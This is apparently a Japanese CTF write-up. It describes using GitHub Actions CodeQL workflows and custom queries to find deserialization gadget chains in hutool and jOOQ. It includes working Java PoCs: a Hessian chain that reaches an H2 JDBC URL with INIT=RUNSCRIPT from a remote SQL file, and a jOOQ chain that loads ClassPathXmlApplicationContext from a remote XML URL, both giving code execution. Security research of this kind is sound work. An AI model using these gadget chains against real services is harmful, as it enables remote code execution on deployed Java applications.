背景#
lgtmコミュニティが 2022 年に閉鎖された後、CodeQL はローカルで手動で構築することしかできず、lgtm はGithub Code Scanningに統合されました。
Github Action では、github/codeql-action
を使用して公式提供の queries でリポジトリのコードをスキャンでき、結果は Code Scanning Alerts として表示されます。公式文書では、QL 文をカスタマイズできることも言及されています。しかし、私は公式文書の設定を試みた結果、queries をカスタマイズできるとは思えませんでした((
ただし、actions/upload-artifact
アクションを組み合わせて構築した CodeQL データベースをエクスポートし、ローカルにインポートしてローカルでクエリを実行することができます。
CodeQL データベースの生成には正しいコンパイルが必要です。幸いなことに、github code scanning は自動的にコンパイルスクリプトを認識する機能を提供しています。
また、Public リポジトリの Actions は無料で、Private リポジトリには無料枠があります。実戦では公式のリポジトリをフォークすれば良いです。
問題背景#
問題は 2 つの部分、agent と server で、どちらも古典的な逆シリアル化エントリです。問題の流れについては詳述しませんが、公式 WPに移動できます。
ここで考え方を述べます。
agent#
既知のこと
- Hessian が Map を逆シリアル化する際に Map.put を呼び出します。
- cn.hutool.json.JSONObject#put ("foo", AtomicReference) -> AtomicReference#toString、注意点として AtomicReference は JDK の内部クラスでなければ toString を呼び出せず、そうでない場合はプロパティに基づいて getter を呼び出します。
- POJONode.toString -> Bean.getObject
- Bean.getObject が object を返すと、jackson は object のすべての getter を呼び出します(getter 名に基づいて)。
したがって、getter から RCE へのチェーンを見つけてブラックリストを回避する必要があります。h2 依存関係が与えられたので、JDBC Connection URL Attack | 素十八 (su18.org)を思い出しました。
つまり、hutool ライブラリ内の getter -> DriverManager.getConnection のチェーンを探す必要があります。
server#
既知のこと
- XString#toString -> POJONode#toString -> getter
jOOQ ライブラリ内の getter -> RCE のチェーンを探す必要があります。
Github Actions を使ったハッキング#
agent#
クラウドコンパイル#
リポジトリをフォークしますdromara/hutool: 🍬A set of tools that keep Java sweet. (github.com)
Actions で codeql を選択します。
.github/workflows/codeql.yml
を少し修正します。
# 多くのプロジェクトでは、このワークフローファイルを変更する必要はありません。単に
# リポジトリにコミットするだけです。
#
# 分析する言語のセットをオーバーライドするためにこのファイルを変更したり、
# カスタムクエリやビルドロジックを提供したりすることができます。
#
# ******** 注意 ********
# リポジトリ内の言語を検出しようとしました。正しいセットの言語があることを確認するために
# 以下に定義された`language`マトリックスを確認してください。
#
name: "CodeQL"
on:
push:
branches: [ "v5-master" ]
pull_request:
branches: [ "v5-master" ]
jobs:
analyze:
name: Analyze (${{ matrix.language }})
runs-on: ${{ (matrix.language == 'swift' && 'macos-latest') || 'ubuntu-latest' }}
timeout-minutes: ${{ (matrix.language == 'swift' && 120) || 360 }}
permissions:
security-events: write
actions: read
contents: read
strategy:
fail-fast: false
matrix:
include:
- language: java-kotlin
build-mode: none # このモードはJavaのみを分析します。Kotlinも分析するには'autobuild'または'manual'に設定します。
steps:
- name: Checkout repository
uses: actions/checkout@v4
- uses: github/codeql-action/init@v3
with:
languages: ${{ matrix.language }}
build-mode: ${{ matrix.build-mode }}
- if: matrix.build-mode == 'manual'
run: |
echo '手動ビルドモードを使用している場合は、ビルドするためのコマンドに置き換えてください。'
exit 1
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v3
with:
category: "/language:${{matrix.language}}"
- name: Upload CodeQL database as artifact
uses: actions/upload-artifact@v4
with:
name: hutool-code-database
path: /home/runner/work/_temp/codeql_databases/
実行が完了すると、データベースファイルが得られます。
利用チェーン#
codeql をインポートした後、この ql を使用します。
/**
* @kind path-problem
*/
import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.DataFlow
class Getter extends Method {
Getter() { this.getName().regexpMatch("get.+") }
}
class Source extends Callable {
Source() {
this instanceof Getter and getDeclaringType().getASupertype*() instanceof TypeSerializable
}
}
class GetConnectionMethod extends Method {
GetConnectionMethod() {
this.hasName("getConnection") and
this.getDeclaringType().hasQualifiedName("java.sql", "DriverManager")
}
}
class DangerousMethod extends Callable {
DangerousMethod() { this instanceof GetConnectionMethod }
}
class CallsDangerousMethod extends Callable {
CallsDangerousMethod() {
exists(Callable a |
this.polyCalls(a) and
a instanceof DangerousMethod
)
}
}
query predicate edges(Callable a, Callable b) {
a.polyCalls(b)
}
from Source source, CallsDangerousMethod sink
where edges+(source, sink)
select source, source, sink, "$@ $@ to $@ $@", source.getDeclaringType(),
source.getDeclaringType().getName(), source, source.getName(), sink.getDeclaringType(),
sink.getDeclaringType().getName(), sink, sink.getName()
誤報があるかもしれませんが、sink は正確です。
PooledDSFactory#getDataSource -> PooledConnection#init -> DriverManager.getConnection
POC#
final String JDBC_URL = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'";
Setting setting = new Setting();
setting.set("url", JDBC_URL);
setting.set("initialSize", "1");
setting.setCharset(null);
PooledDSFactory factory = new PooledDSFactory(setting);
Bean bean = new Bean();
bean.setData(ReflectUtils.serialize(factory));
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(ctMethod);
ctClass.toClass();
POJONode node = new POJONode(bean);
AtomicReference atomicReference = new AtomicReference<>(node);
JSONObject json = new JSONObject();
json.put("1", "2");
LinkedHashMap map = new LinkedHashMap();
map.put("1", atomicReference);
ReflectUtils.setFieldValue(json, "raw", map);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.writeObject(json);
hessian2Output.close();
byte[] data = byteArrayOutputStream.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(data));
server#
大会の時点でここで止まりました((
クラウドコンパイル#
同様に codeql.yml を提供します。ここで jdk バージョンを設定しました。
# 多くのプロジェクトでは、このワークフローファイルを変更する必要はありません。単に
# リポジトリにコミットするだけです。
#
# 分析する言語のセットをオーバーライドするためにこのファイルを変更したり、
# カスタムクエリやビルドロジックを提供したりすることができます。
#
# ******** 注意 ********
# リポジトリ内の言語を検出しようとしました。正しいセットの言語があることを確認するために
# 以下に定義された`language`マトリックスを確認してください。
#
name: "CodeQL"
on:
push:
branches: [ "main" ]
pull_request:
branches: [ "main" ]
jobs:
analyze:
name: Analyze (${{ matrix.language }})
runs-on: ${{ (matrix.language == 'swift' && 'macos-latest') || 'ubuntu-latest' }}
timeout-minutes: ${{ (matrix.language == 'swift' && 120) || 360 }}
permissions:
security-events: write
actions: read
contents: read
strategy:
fail-fast: false
matrix:
include:
- language: java-kotlin
build-mode: autobuild
steps:
- name: Checkout repository
uses: actions/checkout@v4
- name: Setup Java JDK
uses: actions/[email protected]
with:
java-version: '17'
distribution: 'oracle'
- name: Initialize CodeQL
uses: github/codeql-action/init@v3
with:
languages: ${{ matrix.language }}
build-mode: ${{ matrix.build-mode }}
- if: matrix.build-mode == 'manual'
run: |
echo '手動ビルドモードを使用している場合は、ビルドするためのコマンドに置き換えてください。'
exit 1
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v3
with:
category: "/language:${{matrix.language}}"
- name: Upload CodeQL database as artifact
uses: actions/upload-artifact@v4
with:
name: codeql-database-${{ matrix.language }}
path: /home/runner/work/_temp/codeql_databases/
利用チェーン#
コード検索で ConvertAll#from がコンストラクタを呼び出すことができることがわかり、ClassPathXmlApplicationContext を使用できます。
ローカル ql で getter -> from をクエリします。
/**
* @kind path-problem
*/
import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.DataFlow
class Getter extends Method {
Getter() { this.getName().regexpMatch("get.+")
and
this.getNumberOfParameters() = 0
and
this.isPublic()
}
}
class Source extends Callable {
Source() {
this instanceof Getter and getDeclaringType().getASupertype*() instanceof TypeSerializable
}
}
class SinkMethod extends Method {
SinkMethod() {
this.hasName("from")
and
this.getNumberOfParameters() = 2
and
this.getDeclaringType().hasName("ConvertAll")
}
}
class DangerousMethod extends Callable {
DangerousMethod() { this instanceof SinkMethod }
}
class CallsDangerousMethod extends Callable {
CallsDangerousMethod() {
exists(Callable a |
this.polyCalls(a) and
a instanceof DangerousMethod
)
}
}
query predicate edges(Callable a, Callable b) {
a.polyCalls(b)
}
from Source source, CallsDangerousMethod sink
where edges+(source, sink)
select source, source, sink, "$@ $@ to $@ $@", source.getDeclaringType(),
source.getDeclaringType().getName(), source, source.getName(), sink.getDeclaringType(),
sink.getDeclaringType().getName(), sink, sink.getName()
誤報はまだ多いです(
これらのクラスを観察すると、次のようなチェーンを構築できます。
ConvertedVal{
name:AbstractName.NO_NAME,
comment:CommentImpl.NO_COMMENT
delegate:QualifiedRecordConstant{
value:"url",
}
type:ConvertedDataType{
binding:ChainedConverterBinding{
chained:ConvertAll{
toClass:ClassPathXmlApplicationContext.class,
toType:Integer.class
}
}
delegate:DefaultDataType{
utype:String.class
tType:String.class
}
}
}
POC#
final String URL = "http://127.0.0.1:8000/poc.xml";
Object convertAll = ReflectUtils.createWithoutConstructor("org.jooq.impl.Convert$ConvertAll");
ReflectUtils.setFieldValue(convertAll, "toClass", ClassPathXmlApplicationContext.class);
ReflectUtils.setFieldValue(convertAll, "toType", Integer.class);
Object chainedConverterBinding = ReflectUtils.createWithoutConstructor("org.jooq.impl.ChainedConverterBinding");
ReflectUtils.setFieldValue(chainedConverterBinding, "chained", convertAll);
Object convertedDataType = ReflectUtils.createWithoutConstructor("org.jooq.impl.ConvertedDataType");
ReflectUtils.setFieldValue(convertedDataType, "binding", chainedConverterBinding);
Object defaultDataType = ReflectUtils.createWithoutConstructor("org.jooq.impl.DefaultDataType");
ReflectUtils.setFieldValue(defaultDataType, "uType", String.class);
ReflectUtils.setFieldValue(defaultDataType, "tType", String.class);
ReflectUtils.setFieldValue(convertedDataType, "delegate", defaultDataType);
Object qualifiedRecordConstant = ReflectUtils.createWithoutConstructor("org.jooq.impl.QualifiedRecordConstant");
ReflectUtils.setFieldValue(qualifiedRecordConstant, "value", URL);
Object convertedVal = ReflectUtils.createWithoutConstructor("org.jooq.impl.ConvertedVal");
ReflectUtils.setFieldValue(convertedVal, "delegate", qualifiedRecordConstant);
ReflectUtils.setFieldValue(convertedVal, "type", convertedDataType);
ReflectUtils.setFieldValue(convertedVal, "name", ReflectUtils.newInstance("org.jooq.impl.UnqualifiedName", ""));
ReflectUtils.setFieldValue(convertedVal, "comment", ReflectUtils.newInstance("org.jooq.impl.CommentImpl", ""));
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(ctMethod);
ctClass.toClass();
POJONode node = new POJONode(convertedVal);
XString xString = new XString("");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", node);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", node);
HashMap gadget = ReflectUtils.deserialize2HashCode(map1, map2);
byte[] poc = ReflectUtils.serialize(gadget);
ReflectUtils.deserialize(poc);
後記#
補足知識#
公式 WP では JDK17 での readObject -> toString の gadget が提供されています。
EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) ReflectUtil.getFieldValue(undoManager, "edits");
vector.add(pojoNode);
ReflectUtil.setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});
この記事で提供した POC では XString を使用しましたが、POC を作成する際にはモジュール隔離がありましたが、逆シリアル化の際には正常でした。これも私たちの DubheCTF 2024 で使用された gadget です。
Javolution 出題小記 | H4cking to the Gate . (h4cking2thegate.github.io)
誰かが「また下手で愛されている」と声を上げました#
jOOQ が過剰設計だと強く感じており、すべてのクラスが同じパッケージに書かれており、デッドコードもあります...